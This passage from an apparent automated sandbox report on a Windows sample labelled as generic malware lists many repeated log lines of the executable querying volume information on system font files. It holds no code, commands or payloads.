Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
